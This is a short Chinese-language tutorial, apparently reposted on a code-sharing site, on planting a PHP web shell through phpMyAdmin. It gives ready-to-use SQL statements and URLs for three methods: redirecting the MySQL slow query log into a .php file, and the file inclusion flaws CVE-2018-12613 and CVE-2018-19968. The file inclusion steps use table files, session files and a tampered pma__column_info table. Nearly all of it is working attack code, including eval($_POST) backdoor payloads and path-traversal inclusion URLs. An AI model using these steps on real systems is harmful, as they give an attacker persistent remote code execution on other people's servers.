phpMyAdmin寫入WebShell(二)


 

 

 

1. 慢日志查詢getshell show variables like '%slow%'
set global slow_query_log=on; set global slow_query_log_file='E:/phpstudy_pro/WWW/slow.php'
select '<?php @eval($_POST[shell]);?>' or sleep(10);
2.CVE-2018-12613 phpMyAdmin文件包含getshell 利用數據庫表文件 phpmyadmin圖形化界面創建表ctf字段名為<?php fputs(fopen("a.php","w"),'<?php eval($_POST[a]);?>');?> select @@datadir 表的路徑就是查詢出來data路徑+數據庫名/表名.frm http://localhost/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../phpstudy_pro/Extensions/MySQL5.7.26/data/test/ctf.frm
利用session文件 利用包含phpinfo()先找到session文件的位置 執行Sql語句產生session
SELECT "<?php fputs(fopen('a.php','w'),'<?php eval($_POST[a]);?>');?> "; session文件名就是 sess_你的session http://localhost/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../phpstudy_pro/Extensions/tmp/tmp/sess_tfrvjj7ngc23vfk0e72mfsg416hffh60
3.CVE-2018-19968 phpmyadmin文件包含getshell
創建表格,字段中插入webshell
create table test.play (flag varchar(100)); insert into test.play SELECT "<?php fputs(fopen('a.php','w'),'<?php eval($_POST[a]);?>');?> ";
訪問路徑生成phpmyadmin配置表 http:
//localhost:8889/phpMyAdmin4.8.1/chk_rel.php?fixall_pmadb=1&db=test
篡改配置表pma__column_info的數據
INSERT INTO pma__column_info SELECT '1', 'test', 'play', 'flag', 'plop', 'plop', 'plop', 'plop', '/../../../../../../phpstudy_pro/Extensions/tmp/tmp/sess_tfrvjj7ngc23vfk0e72mfsg416hffh60 ','plop';
訪問URL文件包含 tbl_replace.php?db
=test&table=play&where_clause=1=1&fields_name[multi_edit][][]=flag&clause_is_unique=1

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM